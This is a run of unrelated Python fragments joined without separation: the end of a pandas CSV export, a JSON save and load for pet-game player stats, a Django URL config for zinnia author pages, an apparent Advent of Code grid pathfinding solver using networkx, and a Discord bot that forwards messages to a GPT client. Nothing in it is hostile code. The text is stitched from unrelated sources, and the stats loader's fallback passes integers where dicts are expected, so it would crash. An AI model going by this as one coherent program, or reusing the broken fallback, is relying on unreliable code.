        df.to_csv(filename, index=False)

        # Return the dataframe to the calling code
        return df


import json
import os

def set_player_stats(treats, toys):
  data = { 'treats': { 'total': treats['total'], 'spent': treats['spent'] }, 'toys': toys }
  with open("stats.json", "w") as f:
    json.dump(data, f)

def get_player_stats(player):
  try:
    with open("stats.json", "r") as f:
      stats = json.load(f)
      player.treats = stats['treats']
      player.toys = stats['toys']
  except FileNotFoundError:
    set_player_stats(0, 10)
    player.treats = { 'total': 0, 'spent': 0 }
    player.toys = 10


"""Urls for the zinnia categories"""
from django.conf.urls.defaults import *

from zinnia.managers import authors_published

author_conf = {'queryset': authors_published(),
               'template_name': 'zinnia/author_list.html',}

urlpatterns = patterns('',
                       url(r'^$', 'django.views.generic.list_detail.object_list',
                           author_conf, 'zinnia_author_list'),
                       url(r'^(?P<username>\w+)/$', 'zinnia.views.author_detail',
                           name='zinnia_author_detail'),
                       url(r'^(?P<username>[-\w]+)/page/(?P<page>\d+)/$',
                           'zinnia.views.author_detail',
                           name='zinnia_author_detail_paginated'),
                       )


import sys

from string import ascii_lowercase as lowers

import networkx as nx

def setup():
     pass

def reachable1(src, dest):
     src = src.replace('S','a').replace('E','z')
     dest = dest.replace('S','a').replace('E','z')

     if src == 'z':
          return True

     maxdest = lowers[lowers.index(src)+1]

     return dest <= maxdest

def part1(filename):
     offsets = [ (-1, 0), (1, 0), (0, -1), (0, 1)]

     terrain = nx.DiGraph()

     terrain_strs = []
     for line in open(filename):
          terrain_strs.append(line.strip())

     rows = len(terrain_strs)
     cols = len(terrain_strs[0])

     for r in range(rows):
          for c in range(cols):
               for dr, dc in offsets:
                    if r+dr < 0 or r+dr >= rows or c+dc < 0 or c+dc >= cols:
                         continue
                    if reachable1(terrain_strs[r][c], terrain_strs[r+dr][c+dc]):
                         terrain.add_edge(
                              (r,c),
                              (r+dr,c+dc)
                         )
                    if terrain_strs[r][c] == 'S':
                         start_pos = (r,c)
                    elif terrain_strs[r][c] == 'E':
                         end_pos = (r,c)

     print(nx.shortest_path_length(terrain, start_pos, end_pos))

def part2(filename):
     offsets = [ (-1, 0), (1, 0), (0, -1), (0, 1)]

     terrain = nx.DiGraph()
     candidate_starts = []

     terrain_strs = []
     for line in open(filename):
          terrain_strs.append(line.strip().replace('S','a'))

     rows = len(terrain_strs)
     cols = len(terrain_strs[0])

     for r in range(rows):
          for c in range(cols):
               for dr, dc in offsets:
                    if r+dr < 0 or r+dr >= rows or c+dc < 0 or c+dc >= cols:
                         continue
                    if reachable1(terrain_strs[r][c], terrain_strs[r+dr][c+dc]):
                         terrain.add_edge(
                              (r,c),
                              (r+dr,c+dc)
                         )

                    if terrain_strs[r][c] == 'a':
                         candidate_starts.append((r,c))
                    elif terrain_strs[r][c] == 'E':
                         end_pos = (r,c)

     lens = []
     for start_pos in candidate_starts:
          try:
               lens.append(nx.shortest_path_length(terrain, start_pos, end_pos))
          except nx.NetworkXNoPath:
               continue
     print(sorted(lens)[0])

if __name__ == '__main__':
     setup()
     if sys.argv[1] == '1':
          part1(sys.argv[2])
     else:
          part2(sys.argv[2])


# from dotenv import load_dotenv

from gptbots import davinci_client
import os
import traceback
import nextcord

# from nextcord import app_commands
from nextcord.ext import commands
# import logging

print("Starting up.")

intents = nextcord.Intents(messages=True)

# Send messages
async def send_message(message, user_message, is_private):
    # try:
    # await message.channel.trigger_typing()
    # response = davinci_client.handle_response(user_message)
    async with message.channel.typing():
        response = davinci_client.handle_response(user_message)

    if is_private:
        reply = await message.author.send(response)
    else:
        reply = await message.channel.send(response)

def test_message():
    print("Firing off test message:")
    # msg = gpt_chat_client.handle_response("Are you working?")
    msg = davinci_client.handle_response("You're alive now. Greet the world.")

    print(msg)

test_message()

def run_discord_bot():
    print("Setting up bot.")
    # Change your token here
    # load_dotenv()
    TOKEN = os.getenv("DISCORD_BOT_TOKEN")
    client = nextcord.Client(intents=intents)
    # tree = app_commands.CommandTree(client)

    # @tree.command(name="chatgpt", description="Use ChatGPT")
    # async def chat(interaction):
    #     await interaction.response.send_message("Hello!")

    async def on_ready():
        # await tree.sync()
        print(f'{client.user} is now running!')

    @client.event
    async def on_message(message):
        if message.author == client.user:
            return

        username = str(message.author)
        user_message = str(message.content)
        channel = str(message.channel)
        if len(user_message) == 0:
            return

        print(f"{username} said: '{user_message}' ({channel})")

        if user_message[0] == '?':
            user_message = user_message[1:]
            await send_message(message, user_message, is_private=True)
        else:
            await send_message(message, user_message, is_private=False)

    client.run(TOKEN)

run_discord_bot()